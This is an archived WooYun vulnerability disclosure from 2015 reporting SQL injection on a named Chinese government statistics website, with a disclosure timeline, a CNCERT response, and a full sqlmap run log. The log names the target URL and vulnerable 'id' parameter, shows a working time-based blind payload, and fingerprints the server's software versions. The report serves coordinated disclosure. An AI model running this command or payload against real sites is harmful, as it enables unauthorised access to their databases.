当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104605

漏洞标题:某市信息管理网存在注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-03-31 14:27

修复时间:2015-05-18 18:18

公开时间:2015-05-18 18:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-31: 细节已通知厂商并且等待厂商处理中
2015-04-03: 厂商已经确认,细节仅向厂商公开
2015-04-13: 细节向核心白帽子及相关领域专家公开
2015-04-23: 细节向普通白帽子公开
2015-05-03: 细节向实习白帽子公开
2015-05-18: 细节向公众公开

简要描述:

可能导致大量信息外露

详细说明:


0.1.png


注入地址:http://www.dystats.gov.cn/view.php?id=1112

C:\Python27\sqlmap>sqlmap.py -u http://www.dystats.gov.cn/view.php?id=1112
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20150301}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 17:10:13
[17:10:13] [INFO] testing connection to the target URL
[17:10:14] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[17:10:15] [WARNING] target URL is not stable. sqlmap will base the page compari
son on a sequence matcher. If no dynamic nor injectable parameters are detected,
or in case of junk results, refer to user's manual paragraph 'Page comparison'
and provide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] c
[17:10:17] [INFO] testing if GET parameter 'id' is dynamic
sqlmap got a 302 redirect to 'http://www.dystats.gov.cn:80/index.php'. Do you wa
nt to follow? [Y/n] n
[17:10:21] [INFO] confirming that GET parameter 'id' is dynamic
[17:10:22] [WARNING] GET parameter 'id' does not appear dynamic
[17:10:22] [INFO] heuristics detected web page charset 'ascii'
[17:10:22] [WARNING] heuristic (basic) test shows that GET parameter 'id' might
not be injectable
[17:10:22] [INFO] testing for SQL injection on GET parameter 'id'
[17:10:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:10:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[17:10:23] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[17:10:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[17:10:24] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[17:10:24] [INFO] testing 'MySQL inline queries'
[17:10:24] [INFO] testing 'PostgreSQL inline queries'
[17:10:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries'
[17:10:24] [INFO] testing 'Oracle inline queries'
[17:10:24] [INFO] testing 'SQLite inline queries'
[17:10:24] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[17:10:24] [CRITICAL] considerable lagging has been detected in connection respo
nse(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or
more)
[17:10:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[17:10:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[17:10:25] [INFO] testing 'MySQL > 5.0.11 AND time-based blind (SELECT)'
[17:10:36] [INFO] GET parameter 'id' seems to be 'MySQL > 5.0.11 AND time-based
blind (SELECT)' injectable
[17:10:36] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[17:10:36] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[17:10:37] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:10:38] [INFO] checking if the injection point on GET parameter 'id' is a fal
se positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any
)? [y/N] n
sqlmap identified the following injection points with a total of 113 HTTP(s) req
uests:
---
Parameter: id (GET)
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind (SELECT)
Payload: id=1112 AND (SELECT * FROM (SELECT(SLEEP(5)))lLdY)
---
[17:11:15] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, Microsoft IIS 6.0, PHP 5.2.1
back-end DBMS: MySQL 5.0.11
[17:11:15] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\www.dystats.gov.cn'

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-04-03 18:16

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给相应分中心,由其后续协调网站管理单位处置 .

最新状态:

暂无